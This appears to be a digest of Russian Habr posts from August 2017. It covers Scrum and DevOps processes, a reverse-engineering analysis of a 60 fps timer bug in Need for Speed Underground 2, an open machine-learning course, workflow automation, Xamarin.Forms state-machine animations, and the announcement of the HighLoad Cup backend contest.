Мы не хотели сильно портить свою карму, поэтому стали проверять все ошибки, которые сыпятся с продакшен билдов. Никто не хочет стать сейлзом в следующей жизни, поэтому такие баги фиксились довольно быстро.


На границе


Вот так, я начал практиковать те вещи, которые раньше ненавидел. Презрение сменилось пониманием. Пришло и осознание, что проблема не в процессах, а в том как их трактуют. Проблема, как оказалось, глобальна. Люди, придумавшие Scrum, хотели сделать жизнь разработчиков лучше. Но за годы оно превратилось в то, что авторы назвали Dark Scrum.


Взяв простые и понятные правила, люди смогли извратить их до неузнаваемости. А потом стали жаловаться, что Scrum не работает.


В последнее время все говорят о DevOps. У термина куча определений. Но я знаю одно — DevOps должны делать жизнь людей проще. Нужно быть на границе между хаосом и порядком. Крайностей быть не должно. Свалиться в анархию и тонуть в сумбурности процессов — плохо. Ровно как и стремиться к тотальному контролю. Заставлять людей следовать процессам, которые только мешают.


Найти баланс сложно. Но чтобы его найти, нужно хотеть этого. У вас три пути:


  • тихонько ныть, что все плохо, но молчать, надеясь что почему-то станет лучше
  • взять все в свои руки и бороться за то, чтобы процессы помогали вам, а не мешали
  • искать нового работодателя, надеясь что там все будет лучше

В любом случае, решать только вам.


DevOps — не только про разработку. Есть еще Operations, которые вне рамок данной статьи. Но там тоже нужен порядок.


В следующей статье я расскажу о шагах к порядку. Многим они известны. Но я расскажу о нюансах, которые я понял за последние годы.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335426/


Метки:  

Timebug часть 2: интересные решения от EA Black Box

Пятница, 11 Августа 2017 г. 14:56 + в цитатник
Привет, хабр! В своей предыдущей статье я рассказал об интересном баге в одной старенькой игрушке, наглядно продемонстрировал явление накопления ошибки округления и просто поделился своим опытом в обратной разработке. Я надеялся, что на этом можно было бы поставить точку, но я очень сильно ошибался. Поэтому под катом я расскажу продолжение истории о звере по имени Timebug, о 60 кадрах в секунду и об очень интересных решениях при разработке игр.




Предыстория.


Во время написания предыдущей части этой эпопеи вокруг неправильно посчитанных времен трасс я непроизвольно попытался затронуть как можно больше игр. Делать дополнительную работу было лень, поэтому я искал симптомы во всех играх серии NFS, что у меня были на тот момент. Под раздачу попал и Underground 2, но изначальных симптомов я там не нашел:



Как видно из картинки (она кликабельна, кстати), IGT подсчитывается другим способом, который явно завязан на int, а потому накопления ошибки не должно было быть. Я радостно заявил об этом в нашем коммьюнити и планировал уже забыть об этом, но нет: Ewil вручную пересчитал некоторые видео и снова обнаружил разницу во времени. Мы решили, что пока у нас нет времени разбираться с этим и я сконцентрировался на уже известной тогда проблеме, но вот сейчас я смог выделить себе время и заняться именно этой игрой.

Симпотмы.


Я изучил поведение глобального таймера и обнаружил, что его «сбрасывают» с каждым рестартом гонки, с каждым выходом в меню и вообще в любой удобный момент. Это не входило в мои планы, потому что связь с уже известной проблемой потерялась окончательно, и этот таймер просто не должен был ломаться. От отчаяния я записал прохождение 10 кругов и руками посчитал время. К моему удивлению, времена круга там были на 100% точны.

Интересные факты
На самом деле, был обнаружен и другой таймер, который также считал время во float, но он оказался немного бесполезным. Изменяя его я не добился никаких видимых результатов.
А этот int таймер почему-то сбрасывается не в 0, а устанавливается в 4000.


Единственное, что оставалось – дизассемблировать и смотреть, что же там не так. Не вдаваясь в подробности покажу псевдокод процедуры, которая считает это несчастное IGT:

if ( g_fFrameLength != 0.0 )
{
    float v0 = g_fFrameDiff + g_fFrameLength;
    int v1 = FltToDword(v0);
    g_dwUnknown0 += v1;
    g_dwUnknown1 = v1;
    g_dwUnknown2 = g_dwUnknown0;
    g_fFrameDiff = v0 - v1 * 0.016666668;
    g_dwIGT += FltToDword(g_fFrameLength * 4000.0 + 0.5);
    LODWORD(g_fFrameLength) = 0;
    ++g_dwFrameCount;
    g_fIGT = (double)g_dwIGT * 0.00025000001;   // Divides IGT by 4000 to get time in seconds
}


Ну, во-первых:
g_dwIGT += FltToDword(g_fFrameLength * 4000.0 + 0.5);




Изначально этот код показался мне совершенно бессмысленным. Зачем это умножать на 4000, а потом еще добавлять половинку?
На самом деле, это очень хитрая магия. 4000 всего лишь константа, которая пришла кому-то из разработчиков в голову… А вот +0.5 это такой интересный способ округления по законам математики. Добавьте половинку к 4.7 и при обрубании до int получите 5, а при добавлении и округлении 4.3 получим 4, как и хотели. Способ не самый точный, но, наверное, работает быстрее. Лично я возьму на заметку.

А теперь, дорогие читатели, я хочу поиграть с вами в игру. Посмотрите на полный псевдокод выше и попробуйте найти там ошибку. Если устанете или вам просто не интересно, переходите к следующей части.

Ошибка.


Строчка
g_fFrameDiff = v0 — (double)v1 * 0.016666668;

Ошибка под спойлером, чтобы случайно не подсмотреть. Немного поясню: 0.01(6) это 1/60 секунды. Весь код выше, судя по всему, это попытка подсчета и компенсирования подлагивания движка, но они не учли то, что не все играют в 60fps. Отсюда и получился тот самый интересный результат, когда в моем видео все круги совпали с действительностью, а у Ewil’а нет. Он играет с выключенной вертикальной синхронизацией, а игра заблокирована на максимум 120 fps и, соответственно, для его компьютера код отрабатывал неправильно. Я слегка доработал код выше и привел его в человеческий вид:

if ( g_fFrameLength != 0.0 )
{
    float tmpDiff = g_fFrameDiff + g_fFrameLength;
    int diffTime = FltToDword(v0);
    g_dwUnknown0 += diffTime;  // Some unknown vars
    g_dwUnknown1 = diffTime;
    g_dwUnknown2 = g_dwUnknown0;
    g_fFrameDiff = tmpDiff - diffTime * 1.0/60;
    g_dwIGT += FltToDword(g_fFrameLength * 4000 + 0.5);
    g_fFrameLength = 0;
    ++g_dwFrameCount;
    g_fIGT = (float)g_dwIGT / 4000;   // Divides IGT by 4000 to get time in seconds
}


Здесь видно, что при подсчете отставания изначально используется действительное время кадра, а в дальнейшем используются захардкоженные 60 фпс. SUSPICIOUS!
Выключаю vsync и получаю 120 кадров в секунду. Иду записывать видео и получаю примерно 0.3 секунды разницы на круге. Бинго!

Дело осталось за малым, пропатчить хардкорные 60фпс на хардкорные 120фпс. Для этого смотрим ассемблерный код и находим адрес, по которому находится эта магическая константа: 0х007875BC.

Спойлер
На самом деле, известно, что эта константа типа float/double и будет загружаться на ФПУ. ФПУ не умеет загружать из регистра, так что ей суждено было оказаться где-то в памяти. Хорошо, что она оказалась не на стеке, иначе я так просто не отделался бы. Пришлось бы вносить изменения в непосредственно код игры, чего я не хотел делать.


На этот раз я не стал писать никаких особых программ, а просто руками в Cheat Engine изменил значение этой переменной на необходимое. После этого я еще раз записал 10 кругов и посчитал время – IGT и RTA наконец совпадали.

На самом деле, они совпадали не на 100%. Но в большинстве своем из-за того, что запись видео очень сильно просаживала мне частоту кадров, из-за чего игра переставала адекватно рассчитывать разницу времен. Но в целом разница была в районе 0.02 секунды.

Я еще немного поискал в коде, на что влияют те переменные, что так усердно высчитывались в процедуре подсчета времени. Нашел я не очень много, но g_fDiffTime используется где-то в движке рядом с g_fFrameTime. Скорее всего, мое предположение о компенсации подлагивания оказалось верным. Но кто этих разработчиков знает то.

Послесловие.


Я даже не знаю, в который раз я натыкаюсь на игру, которая предполагает 60 кадров в секунду. Это очень плохой стиль написания игр, и я настоятельно рекомендую вам, читатели, учитывать разницу в железе. Особенно если вы инди-разработчик. И совсем особенно если вы разрабатываете на ПК. Для консолей добиться различных мощностей железа не получится, а на ПК из-за этого постоянно всплывают проблемы. А еще есть мониторы с 120/144Hz частотой обновления, и даже больше. Да и g-sync уже подъехал.

Но NFS – это порты с консолей, так что в решениях часто наблюдается чисто консольный подход: предположить, что ФПС не поднимется выше 60 (30, 25, any number), и многие решения наглухо затачиваются именно под это число кадров в секунду. Увы, это стало сильнее проявляться в новых частях серии.

На этот раз статья получилась не такой уж объемной, хотя простора для исследований тут много. Надеюсь, найдется еще что-то интересное в этих играх, о чем можно будет рассказать.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335432/


Метки:  

OpenDataScience и Mail.Ru Group проведут открытый курс по машинному обучению

Пятница, 11 Августа 2017 г. 14:02 + в цитатник

6 сентября 2017 года стартует 2 запуск открытого курса OpenDataScience по анализу данных и машинному обучению. На этот раз будут проводиться и живые лекции, площадкой выступит московский офис Mail.Ru Group.



Если коротко, то курс состоит из серии статей на Хабре (вот первая), воспроизводимых материалов (Jupyter notebooks, вот github-репозиторий курса), домашних заданий, соревнований Kaggle Inclass, тьюториалов и индивидуальных проектов по анализу данных. Здесь можно записаться на курс, а тут — вступить в сообщество OpenDataScience, где будет проходить все общение в течение курса (канал #mlcourse_open в Slack ODS). А если поподробней, то это вам под кат.


План статьи



В чем особенность курса



Цель курса — помочь быстро освежить имеющиеся у вас знания и найти темы для дальнейшего изучения. Курс вряд ли подойдет именно как первый по этой теме. Мы не ставили себе задачу создать исчерпывающий курс по анализу данных и машинному обучению, но хотели создать курс с идеальным сочетанием теории и практики. Поэтому алгоритмы объясняются достаточно подробно и с математикой, а практические навыки подкрепляются домашними заданиями, соревнованиями и индивидуальными проектами.


Большой плюс именно этого курса — активная жизнь на форуме (Slack сообщества OpenDataScience). В двух словах, OpenDataScience — это крупнейшее русскоязычное сообщество DataScientist-ов, которое делает множество классных вещей, в том числе организует Data Fest. При этом сообщество активно живет в Slack’e, где любой участник может найти ответы на свои DS-вопросы, найти единомышленников и коллег для проектов, найти работу и т.д. Для открытого курса создан отдельный канал, в котором 3-4 сотни людей, изучающих то же, что и ты, помогут в освоении новых тем.


Выбирая формат подачи материала, мы остановились на статьях на Хабре и тетрадках Jupyter. Теперь еще добавятся "живые" лекции и их видеозаписи.


На кого рассчитан курс и как к нему подготовиться


Пререквизиты: нужно знать математику (линейную алгебру, аналитическую геометрию, математический анализ, теорию вероятностей и матстатистику) на уровне 2 курса технического вуза. Нужно немного уметь программировать на языке Python.


Если вам не хватает знаний или скиллов, то в первой статье серии мы описываем, как повторить математику и освежить (либо приобрести) навыки программирования на Python.


Да, еще не помешает знание английского, а также хорошее чувство юмора.



Что в себя включает курс


Статьи


Мы сделали ставку на Хабр и подачу материала в форме статьи. Так можно в любой момент быстро и легко найти нужную часть материала. Статьи уже готовы, за сентябрь-ноябрь они будут частично обновлены, а также добавится еще одна статья про градиентный бустинг.


Список статей серии:


  1. Первичный анализ данных с Pandas
  2. Визуальный анализ данных c Python
  3. Классификация, деревья решений и метод ближайших соседей
  4. Линейные модели классификации и регрессии
  5. Композиции: бэггинг, случайный лес
  6. Построение и отбор признаков. Приложения в задачах обработки текста, изображений и геоданных
  7. Обучение без учителя: PCA, кластеризация
  8. Обучение на гигабайтах c Vowpal Wabbit
  9. Анализ временных рядов с помощью Python
  10. Градиентный бустинг

Лекции


Лекции будут проходить в московском офисе Mail.Ru Group по средам с 19.00 до 22.00, с 6 сентября по 8 ноября. На лекциях будет разбор теории в целом по тому же плану, что описан в статье. Но также будут разборы задач лекторами вживую, а последний час каждой лекции будет посвящен практике — слушатели сами будут анализировать данные (да, прямо писать код), а лекторы — помогать им в этом. Посетить лекцию смогут топ-30 участников курса по текущему рейтингу. На рейтинг будут влиять домашние задания, соревнования и проекты по анализу данных. Также будут организованы трансляции лекций.



Лекторы:


  • Юрий Кашницкий. Программист-исследователь Mail.Ru Group и старший преподаватель факультета компьютерных наук ВШЭ, а также преподаватель в годовой программе дополнительного образования по анализу данных в ВШЭ.
  • Алексей Натекин. Основатель сообщества OpenDataScience и DM Labs, Chief Data Officer в Diginetica. В прошлом — глава отдела аналитики Deloitte. Идейный лидер сообщества OpenDataScience, организатор DataFest.
  • Дмитрий Сергеев. Data Scientist в Zeptolab, лектор в Центре Математических Финансов МГУ.

Про всех авторов статей курса при желании можно прочитать здесь.


Домашние задания


Каждая из 10 тем сопровождается домашним заданием, на которое дается 1 неделя. Задание — в виде тетрадки Jupyter, в которую надо дописать код и на основе этого выбрать правильный ответ в форме Google. Домашние задания — это первое, что начнет влиять на рейтинг участников курса и, соответственно, на то, кто сможет вживую посещать лекции.


Сейчас в репозитории курса вы можете видеть 10 домашних заданий с решениями. В новом запуске курса домашние задания будут новыми.


Тьюториалы


Одно из творческих заданий в течение курса — выбрать тему из области анализа данных и машинного обучения и написать по ней тьюториал. С примерами того, как оно было, можно познакомиться тут. Опыт оказался удачным, участники курса сами написали несколько очень добротных статей по темам, которые в курсе не рассматривались.


Соревнования Kaggle Inclass



Конечно, без практики в анализе данных никуда, и именно в соревнованиях можно очень быстро что-то узнать и научиться делать. К тому же, мотивация в виде различных плюшек (денег и рейтинга в "большом" Kaggle и просто в виде рейтинга у нас в курсе) способствуют очень активному изучению новых методов и алгоритмов именно в ходе соревнования по анализу данных. В первом запуске курса предлагалось два соревнования, в которых решались очень интересные задачи:


  • Идентификация взломщика по его поведению в сети Интернет. Имелись реальные данные о посещении пользователями различных сайтов, и надо было по последовательности из посещенных за 30 минут сайтов понять, была ли это некто Элис или кто-то другой.
  • Прогноз популярности статьи на Хабре. В этом задании по тексту, времени и прочим признакам публикации на Хабре надо было предсказать популярность этой статьи — число добавлений в избранное.

Индивидуальные проекты



Из паблика Вконтакте "Мемы про машинное обучение для взрослых мужиков".


Курс рассчитан на 2.5 месяца, а активностей запланировано немало. Но обязательно рассмотрите возможность выполнить собственный проект по анализу данных, от начала до конца, по плану, предложенному преподавателями, но с собственными данными. Проекты можно обсуждать с коллегами, а по окончании курса будет устроена peer-review проверка проектов.
Подробности про проекты будут позже, а пока вы можете подумать, какие бы данные вам взять, чтобы "что-то для них прогнозировать". Но если идей не будет, не страшно, мы посоветуем какие-нибудь интересные задачи и данные для анализа, причем они могут быть разными по уровню сложности.


Как мне записаться на курс?


Для участия в курсе заполните этот опрос, а также вступите в сообщество OpenDataScience (в графе "Откуда вы узнали об OpenDataScience?" ответьте "mlcourse_open"). В основном общение в течение курса будет проходить в Slack OpenDataScience в канале #mlcourse_open.


Как прошел первый запуск курса


Первый запуск прошел с февраля по июнь 2017 года, записалось около тысячи человек, первую домашку сделали 520, а последнюю — 150 человек. Жизнь на форуме просто кипела, в соревнованиях Kaggle было сделано несколько тысяч посылок, участники курса написали с десяток тьюториалов. И, судя по отзывам, получили отличный опыт, с помощью которого дальше можно окунаться в нейронные сети, соревнования на Kaggle или в теорию машинного обучения.


Бонусом для топ-100 финалистов курса был митап в московском офисе Mail.Ru Group, на котором было 3 лекции по актуальным в современном DS темам:


  • Обработка больших данных при помощи Apache Spark (Виталий Худобахшов, "Одноклассники"). Видео: часть1, часть2;
  • Основы нейронных сетей и Deep Learning (Алексей Озерин, Reason8.ai), видео;
  • Deep Learning в решении задач сентимент анализа (Виталий Радченко, Ciklum), видео.

Бонус: совместное прохождение курса cs231n


И последнее, чем пока порадуем: с середины ноября 2017 года, сразу по окончании вводного курса по машинному обучению, там же в канале #mlcourse_open в Slack ODS будем вместе проходить один из лучших курсов по нейронным сетям — стэнфордский курс cs231n “Convolutional Neural Networks for Visual Recognition”.


Успехов вам в изучении этой прекрасной дисциплины — машинного обучения! И вот эти два товарища тут — для мотивации.



Andrew Ng берет интервью у Andrej Karpathy в рамках специализации по Deep Learning.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334960/


Метки:  

Автоматизируй это: Как формируется рынок уничтожения рутины

Пятница, 11 Августа 2017 г. 13:22 + в цитатник


Автоматизация работы — жаркая тема. Одни эксперты пугают массовыми увольнениями жертв новой промышленной революции. Другие настроены позитивно и обещают невероятный прорыв в продуктивности. Так или иначе, это набирающий обороты тренд. Компании самого разного размера и отрасли будут активно автоматизировать свои рабочие процессы с новыми и новыми решения, чтобы оптимизировать расходы и выдерживать конкуренцию.

Поле для деятельности обещают широкое: по данным McKinsey Global Institute, к потенциально автоматизируемой относится до 70% работы по сбору и обработке информации (то, чем занимаются миллионы офисных сотрудников), планированию и координации работы при управлении проектами.

image
Источник: McKinsey Global Institute


Источник: McKinsey Global Institute

Бизнесы, которые пойдут по этому пути раньше и дальше остальных, получат несколько преимуществ:

  • Уменьшение количества ошибок, связанных с человеческим фактором.
  • Возможность легко масштабировать бизнес без изменения уже выстроенных рабочих процессов и значительного расширения штата.
  • Фокус на стратегических и инновационных проектах вместо непрерывной работы с «текучкой».
  • Более гибкое планирование и возможность быстро протестировать смелые идеи c минимальными издержками.

Полная автоматизация всех процессов, предсказанная в McKinsey, займет не один год. Однако, уже сейчас можно представить, с чего все начинается. Мы в Wrike, как и другие игроки рынка решений для управления проектами, пытаемся выявить массово распространенные элементы рабочих процессов, автоматизация которых обеспечит заметную и быструю отдачу для бизнеса. Ниже мы перечислили некоторые из таких элементов, на которые мы бы сделали ставку при развитии решений, связанных с организацией рабочих процессов.

Автоматизация входящих запросов

Практически любая работа начинается с запроса: заказ клиента, ТЗ, бриф, тикет, просьба в курилке и т. д. И во многих случаях солидная часть дня тратится на то, чтобы сделать поток таких запросов управляемым: выставить приоритеты по срокам и важности, распределить задачи в команде и часто просто понять, чего от тебя хотят. Если оптимизировать работу с входящими запросами, можно высвободить огромное количество рабочего времени и заодно избавить команды от лишнего стресса.

Выходом здесь будет формализация при приеме запроса в работу. Как ни странно, унылая бюрократия иногда способна спасти нас от размытых формулировок задания и бесконечных уточнений. Мы видим это как формы запросов, интегрированные с системой управления проектами. Они позволяют сразу запросить и собрать всю необходимую информацию от заказчика до начала работы, а затем автоматически запустить новый проект по шаблону.

Командам, работающим над разными типами задач, подойдут ветвящиеся динамические формы запросов, в которых набор вопросов изменяется в зависимости от ответов, выбранных на предыдущие. Скажем, отдел маркетинга может предложить разные варианты вопросов в зависимости от того, запрашивает ли другой отдел рекламную кампанию для нового продукта или email-рассылку для пользователей.

Заполненный запрос становится триггером для создания проекта по преднастроенному шаблону. Каждый этап работы назначается подходящему исполнителю, а общий срок выполнения рассчитывается по срокам отдельных задач, указанных в шаблоне. Таким образом, можно снять работу по координации повторяющегося потока задач с руководителя, а точность планирование будет только лучше.



Такая функциональность в том или ином виде недавно появилась и у Wrike, и некоторых наших конкурентов.

Автосинхронизация между приложениями

Сбор информации, рассредоточенной по десятку сервисов и приложений, незаметно, но верно отъедает пару часов дня у каждого менеджера. Поэтому интеграция становится одним из ключевых факторов конкуренции на нашем рынке. Хорошие шансы на лидерство есть у решений, которые смогут предложить максимальное число интеграций со значимыми для пользователя приложениями.



В случае систем управления проектами это, помимо очевидных облачных файлохранилищ и офисных пакетов, будут синхронизации с основными «вертикальными» сервисами — для разработки, дизайна, ведения маркетинговых кампаний или финансовой отчетности. Цель таких интеграций сделать работу внутри отделов, прозрачной на уровне всей компании без каких-либо ручных действий. При этом высвобождается время на сбор, обновление и передачу статусов готовности задач коллегам из других отделов.

Пример таких интеграций в Wrike это двухсторонняя синхронизация с JIRA и Github, популярных у команд разработки.

Балансировка загруженности

Оптимальное распределение ресурсов команды, не говоря уж про компании целиком, — настоящий менеджерский талант, который есть у немногих. Даже лучшим из лучших трудно добиться идеального баланса, при котором каждый сотрудник не будет перегружен четырьмя важными проектами одновременно, но и не будет, зевая, коротать день у кофеварки из-за отсутствия задач. С другой стороны, это вполне типичная математическая задача, которая так и просится для делегирования искусственному интеллекту. Приятным бонусом станет исчезновение любой предвзятости при распределении задач.

Система могла бы предлагать идеального кандидата на исполнение задачи, оценивая историю прежних взаимодействий сотрудников с подобными задачами и их доступность для новых задач по графику загруженности. Если такой механизм будет включаться на каждом этапе смены статуса задачи (например, при переходе из дизайна в разработку), то работа как внутри отдела, так и между отделами станет более слаженной и менее конфликтной.

Предсказание сорванных дедлайнов

Аналитические функции, вроде шаблона отчетов в Wrike, уже сегодня позволяют быстро получать ключевые срезы данных по состоянию проектов, не создавая каждый раз отчет заново. Однако и здесь использование искусственного интеллекта в сочетании с большими данными может предложить менеджеру более полный анализ деятельности.

В частности, такая система могла бы просчитать вероятность завершения проектов в срок, основанную на сроках выполнения предшествующих проектов, выделить проекты, попадающие в зону риска, и своевременно предупредить менеджеров. Такая функциональность может кардинально повысить точность планирования и минимизировать срывы сроков.



Автоматизация этих и других элементов рабочего процесса должна очень сильно поднять средний уровень производительности сотрудников. Оптимизация рабочего времени изменит жизнь не только линейных специалистов, но и руководителей, которые будут меньше заниматься контролем и проверкой статуса задач и смогут использовать свои высокооплачиваемые часы для более творческой работы. Робот в качестве начальника отдела — это пока отдаленная перспектива, но суть работы (и требования к навыкам) лидеров команд наверняка изменится уже в ближайшие годы.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335420/


Метки:  

Что общего между конечными автоматами, анимацией и Xamarin.Forms

Пятница, 11 Августа 2017 г. 12:51 + в цитатник
Если вы были студентом технической специальности, то наверняка помните курс, посвященный конечным автоматам. Эта простая, но очень емкая модель (конечный автомат, он же finite state machine, он же FSM) используется довольно широко, хотя и большинство программистов о ней незаслуженно забывают. Сегодня мы поговорим о конечных автоматах и их применении в создании комплексных анимаций в приложениях на Xamarin.Forms.



Анимации в Xamarin.Forms


Если вы уже используете Xamarin.Forms в реальных проектах, то наверняка сталкивались со встроенным механизмом анимаций. Если нет, то рекомендуем начать знакомство со статей «Creating Animations with Xamarin.Forms» и «Compound Animations».


Чаще всего требуется анимировать следующие свойства:


  • Scale, масштаб элемента;
  • Opacity, прозрачность;
  • Translation, дополнительное смещение по x, y, относительно полученного при компоновке положения;
  • Rotation, вращение вокруг осей x, y, z.

В Xamarin.Forms для задания обозначенных свойств используются механизмы ОС низкого уровня, что отлично сказывается на производительности — нет проблем анимировать сразу целую кучу объектов. В нашем примере мы остановимся именно на этих свойствах, но при желании вы сможете самостоятельно расширить описанные ниже механизмы.


Конечные автоматы


Если описать конечный автомат человеческим языком, то это некий объект, который может находится в различных устойчивых состояниях (например, “загрузка” или “ошибка”). Свои состояния автомат меняет под воздействием внешних событий. Количество состояний конечно. Примерами таких автоматов являются лифты и светофоры.





Если вы по какой-то причине не учились в институте на технической специальности или не изучали теорию, то рекомендуем начать знакомство с этой статьи.


Какое это все имеет отношение к анимациям и тем более к Xamarin.Forms? Давайте посмотрим.


Один экран, много состояний, есть анимации перехода


В статье «Работаем с состояниями экранов в Xamarin.Forms» мы уже описывали компонент StateContainer, упрощающий разработку сложных интерфейсов и подходящий для большинства экранов в бизнес-приложениях. Этот компонент хорошо работает, когда у нас все состояния существуют независимо друг от друга и между ними достаточно простого перехода «один исчез — второй появился».




Но что делать, если необходимо реализовать комплексный и анимированный переход из одного состояния в другое? Чтобы выезжало, вращалось и прыгало.


В качестве примера давайте рассмотрим экран ввода адреса и работы с картой, как это реализуется в большинстве навигаторов.


Представим, что у нас анимированные переходы между следующими состояниями ОДНОГО экрана:



Как видим, у нас получается такой конечный автомат:



Необходимо реализовать следующие анимации при переходе из состояния в состояние:


  • При входе в FindAddress нужно скрыть с анимацией старый контент и плавно показать новый. Плюс для пикантности будем анимировать кнопки во время появления;
  • При переходе в ShowRoute необходимо скрыть старое состояние, а снизу экрана должна выехать табличка с информацией о маршруте;
  • При переходе в Drive необходимо скрыть старое состояние и сверху должна выехать табличка с информацией о маршруте;
  • При переходе в Main (кроме первого запуска) необходимо скрыть текущее состояние и плавно отобразить кнопку, добавим к ней также небольшую анимацию изменения масштаба.




Пишем свой автомат


Мы возьмем самую простую реализацию:


  • У автомата есть фиксированный набор состояний, которые задаются при инициализации;
  • Каждое из состояний описывается набором необходимых анимаций (конечные значения properties) для элементов UI;
  • При входе в новое состояние параллельно запускаются все анимации из массива, добавленного при инициализации автомата.

Никакую историю переходов хранить не будем, также не важно по какому пользовательскому событию автомат перешел из одного состояния в другое. Есть только переход в новое состояние, который сопровождается анимациями.


Итак, простейший автомат, который мы назовем Storyboard, будет выглядеть следующим образом:

public enum AnimationType {
    Scale,
    Opacity,
    TranslationX,
    TranslationY,
    Rotation
}

public class Storyboard {
    readonly Dictionary _stateTransitions = new Dictionary();

    public void Add(object state, ViewTransition[] viewTransitions) {
        var stateStr = state?.ToString().ToUpperInvariant();
        _stateTransitions.Add(stateStr, viewTransitions);
    }

    public void Go(object newState, bool withAnimation = true) {
        var newStateStr = newState?.ToString().ToUpperInvariant();
        
        // Get all ViewTransitions 
        var viewTransitions = _stateTransitions[newStateStr];
        
        // Get transition tasks
        var tasks = viewTransitions.Select(viewTransition => viewTransition.GetTransition(withAnimation));
        
        // Run all transition tasks
        Task.WhenAll(tasks);
    }
}

public class ViewTransition {
        // Skipped. See complete sample in repository below
        
    public async Task GetTransition(bool withAnimation) {
        VisualElement targetElement;
        if( !_targetElementReference.TryGetTarget(out targetElement) )
           throw new ObjectDisposedException("Target VisualElement was disposed");
        
        if( _delay > 0 ) await Task.Delay(_delay);
        
        withAnimation &= _length > 0;
        
        switch ( _animationType ) {
            case AnimationType.Scale:
                if( withAnimation )
                   await targetElement.ScaleTo(_endValue, _length, _easing);
                else
                   targetElement.Scale = _endValue;
                break;
                
                // See complete sample in repository below
            default:
                throw new ArgumentOutOfRangeException();
        }
    }
}

В примере выше опущены проверки входных данных, полную версию можете найти в репозитории (ссылка в конце статьи).


Как видим, при переходе в новое состояние просто в параллели происходят плавные изменения необходимых свойств. Есть также возможность перейти в новое состояние без анимации.


Используем конечный автомат


Итак, автомат у нас есть и мы можем подключить его для задания необходимых состояния элементов. Пример добавления нового состояния:


_storyboard.Add(States.Drive, new[] {
   new ViewTransition(ShowRouteView, AnimationType.TranslationY, 200),
   new ViewTransition(ShowRouteView, AnimationType.Opacity, 0, 0, delay: 250),
   new ViewTransition(DriveView, AnimationType.TranslationY, 0, 300, delay: 250), // Active and visible
   new ViewTransition(DriveView, AnimationType.Opacity, 1, 0) // Active and visible
});

Как видим, для состояния Drive мы задали массив индивидуальных анимаций. ShowRouteView и DriveView — обычные View, заданные в XAML, пример ниже.


А вот для перехода в новое состояние достаточно простоы вызвать метод Go():


_storyboard.Go(States.ShowRoute);

Кода получается относительно немного и групповые анимации создаются по факту просто набором чисел. Работать наш конечный автомат может не только со страницами, но и с отдельными View, что расширяет варианты его применения. Использовать Storyboard лучше внутри кода страницы (Page), не перемешивая его с бизнес-логикой.


Также приведем пример XAML, в котором описаны все элементы пользовательского интерфейса.




Если вы решите добавить возможность смены цвета элементов с помощью анимаций, то рекомендуем познакомиться с реализацией, описанной в статье «Building Custom Animations in Xamarin.Forms».


Полный код проекта из статьи вы можете найти в нашем репозитории:
https://bitbucket.org/binwell/statemachine.


И как всегда, задавайте ваши вопросы в комментариях. До связи!


Об авторе


Вячеслав Черников — руководитель отдела разработки компании Binwell, Microsoft MVP и Xamarin Certified Developer. В прошлом — один из Nokia Champion и Qt Certified Specialist, в настоящее время — специалист по платформам Xamarin и Azure. В сферу mobile пришел в 2005 году, с 2008 года занимается разработкой мобильных приложений: начинал с Symbian, Maemo, Meego, Windows Mobile, потом перешел на iOS, Android и Windows Phone. Статьи Вячеслава вы также можете прочитать в блоге на Medium.

Другие статьи автора:

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335418/


Новый чемпионат для backend-разработчиков: HighLoad Cup

Пятница, 11 Августа 2017 г. 12:16 + в цитатник

Проведение конкурсов для IT-специалистов сейчас в моде: Kaggle с его задачами по Data Science, сплоченная тусовка олимпиадного программирования, набирающие популярность площадки для конкурсов по искусственному интеллекту, всевозможные хакатоны для мобильных разработчиков, олимпиады для админов, capture the flag для безопасников. Казалось бы, специалисту любой сферы несложно найти себе подходящую движуху, поучаствовать, прокачаться и что-нибудь выиграть.


Обделенными в этом плане остались лишь web-разработчики. Мы в Mail.Ru Group решили исправить это досадное недоразумение и теперь с радостью представляем вам HighLoadCup — конкурсную площадку на стыке backed-разработки и администрирования web-сервисов.


Если считаете себя хорошим web-разработчиком, умеете в deploy и highload — добро пожаловать!


Сроки, призы


Сразу о главном — первый, пилотный чемпионат стартовал вчера, 10-го августа, и продлится вплоть до конца лета — 31-го августа мы подведем итоги и вручим призы. Призовой фонд включает Apple iPad Air 2 Cellular 16 GB за первое место, WD MyCloud 6 TB за второе и третье места, WD MyPassport Ultra 2 TB за места с 4 по 6 включительно. По традиции, ТОП-20 участников получат футболки с символикой чемпионата.


Механика чемпионата


Участникам дается задание на написание небольшого web-сервиса, работающего с данными определенной структуры и реализующего API к этим данным. Контейнер с реализованным сервисом загружается к нам на сервера, там мы его стартуем и начинаем обстреливать HTTP-запросами. По результатам таких обстрелов мы подсчитываем количество правильных и неправильных ответов, RPS и скорость ответа, и по заранее определенной метрике формируется рейтинговая таблица. Автор наиболее быстрого и отказоустойчивого сервиса и оказывается победителем.


Как это устроено


Решения отправляют с помощью локально установленного docker-клиента в специальное хранилище. Затем отправленный нам сервис проверяется автоматически системой CodeHub-CodeRunner, разработанной сотрудниками лаборатории Технопарка Mail.Ru Group.


При проектировании решения участник не ограничен ничем, можно использовать абсолютно любые языки и стеки технологий, от классических схем со скриптовым языком и СУБД до самописных велосипедов на C, держащих все нужные данные просто в памяти.


Итак, фактически нужно сделать следующее:


  • создать автономное отзывчивое серверное приложение;
  • собрать его в docker-контейнер и залить в хранилище;
  • обстрелять приложение на выданных боевых данных;
  • … победить.

Все решения запускаются как docker-контейнеры на одинаковых серверах с Intel Xeon x86_64 2 GHz 4 ядра, 4 GB RAM, 10 GB HDD.


Система обстрела



Система проверки изначально создавалась для другого чемпионата (который нам еще предстоит запустить ;) и была доработана для проведения Highload-соревнований. Внутри запускается yandex-танк с движком phantom, который ведет обстрел в несколько потоков с линейно растущим профилем нагрузки. Предварительно, до начала обстрела у пользовательского решения есть время порядка нескольких минут, чтобы обработать данные из подложенного нами в контейнер JSON-файла. Корректная работа с этими данными — необходимое условие победы. Существует два типа проверки — экспресс-проверка и рейтинговая проверка. Об этом ниже.


Как проверяются решения


Типы проверки решения: экспресс-обстрел и рейтинговая проверка.


Экспресс-обстрел доступен неограниченное число раз в сутки, составляет по объему примерно 1/10 от рейтинговой проверки решения. Экспресс-проверка не отличается от рейтинговой по структуре, но использует другой набор данных и является способом узнать, готово ли решение для рейтинговой проверки. Предполагается, что экспресс-обстрел занимает не более 3 минут.


